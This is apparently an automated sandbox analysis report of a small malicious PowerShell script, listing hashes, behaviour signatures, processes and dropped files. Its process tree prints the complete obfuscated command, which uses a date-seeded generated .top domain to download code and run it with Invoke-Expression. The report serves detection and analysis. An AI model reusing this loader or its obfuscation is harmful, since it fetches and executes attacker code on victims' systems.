Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/09/2023, 13:57

General

  • Target

    9cee1f36.ps1

  • Size

    1KB

  • MD5

    e37d2e2f55fdfaf75236633eff0537c2

  • SHA1

    e01e214ebb5420ca858a69c5cd79e4aae97831c1

  • SHA256

    fff5ba8c935bd9fab2b0e686ba6f9ffca66aa2668d75ff72e558e4abc1e6f583

  • SHA512

    b2bbdbb10ec013f72b32c1410d1e8606b8ac3a2ec8ed440d5fef08b3498be7a2d93052ea234c7dfd176e74bac5fa08e716cb57b44f09a91074b65c88b3e49834

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\9cee1f36.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias rzs $([char]105+[char]110+[char]118+[char]111+[char]107+[char]101+[char]45+[char]101+[char]120+[char]112+[char]114+[char]101+[char]115+[char]115+[char]105+[char]111+[char]110) ;$od6v9mnx7aue = New-Object ($([char]83+[char]121+[char]115+[char]116+[char]101+[char]109+[char]46+[char]82+[char]97+[char]110+[char]100+[char]111+[char]109) )([int]((((Get-Date).DayOfYear+3) / 7) +2024)*2582);for ($mc4hg87a03wn = 0; $mc4hg87a03wn -lt 15; $mc4hg87a03wn++) {$bxjdeg5wn18rpa47qkgm92vyj8 += ($([char]97+[char]98+[char]99+[char]100+[char]101+[char]102+[char]103+[char]104+[char]105+[char]106+[char]107+[char]108+[char]109+[char]110) )[$od6v9mnx7aue.Next(0, 14)];}$9glf8rawu3ds=(New-Object $([char]83+[char]121+[char]115+[char]116+[char]101+[char]109+[char]46+[char]78+[char]101+[char]116+[char]46+[char]87+[char]101+[char]98+[char]67+[char]108+[char]105+[char]101+[char]110+[char]116) ).($([char]68+[char]111+[char]119+[char]110+[char]108+[char]111+[char]97+[char]100+[char]83+[char]116+[char]114+[char]105+[char]110+[char]103) )($([char]104+[char]116+[char]116+[char]112+[char]58+[char]47+[char]47) +$bxjdeg5wn18rpa47qkgm92vyj8+$([char]46+[char]116+[char]111+[char]112+[char]47+[char]49+[char]46+[char]112+[char]104+[char]112+[char]63+[char]115+[char]61+[char]53+[char]49+[char]53) );rzs $9glf8rawu3ds
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2892

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    556084f2c6d459c116a69d6fedcc4105

    SHA1

    633e89b9a1e77942d822d14de6708430a3944dbc

    SHA256

    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

    SHA512

    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    2d74f3420d97c3324b6032942f3a9fa7

    SHA1

    95af9f165ffc370c5d654a39d959a8c4231122b9

    SHA256

    8937b96201864340f7fae727ff0339d0da2ad23c822774ff8ff25afa2ae4da3d

    SHA512

    3c3d2ae3b2581ff32cfee2aedca706e4eaa111a1f9baeb9f022762f7ef2dfb6734938c39eb17974873ad01a4760889e81a7b45d7ed404eb5830f73eb23737f1a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfbkeltb.sqc.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/804-16-0x00007FFBF6E50000-0x00007FFBF7911000-memory.dmp

    Filesize

    10.8MB

  • memory/804-12-0x000002271E8E0000-0x000002271E8F0000-memory.dmp

    Filesize

    64KB

  • memory/804-13-0x000002271E8E0000-0x000002271E8F0000-memory.dmp

    Filesize

    64KB

  • memory/804-0-0x000002271F2A0000-0x000002271F2C2000-memory.dmp

    Filesize

    136KB

  • memory/804-11-0x000002271E8E0000-0x000002271E8F0000-memory.dmp

    Filesize

    64KB

  • memory/804-10-0x00007FFBF6E50000-0x00007FFBF7911000-memory.dmp

    Filesize

    10.8MB

  • memory/2892-18-0x00007FFBF6E50000-0x00007FFBF7911000-memory.dmp

    Filesize

    10.8MB

  • memory/2892-19-0x0000013B62AB0000-0x0000013B62AC0000-memory.dmp

    Filesize

    64KB

  • memory/2892-20-0x0000013B62AB0000-0x0000013B62AC0000-memory.dmp

    Filesize

    64KB

  • memory/2892-31-0x00007FFBF6E50000-0x00007FFBF7911000-memory.dmp

    Filesize

    10.8MB

  • memory/2892-32-0x0000013B62AB0000-0x0000013B62AC0000-memory.dmp

    Filesize

    64KB

  • memory/2892-34-0x00007FFBF6E50000-0x00007FFBF7911000-memory.dmp

    Filesize

    10.8MB

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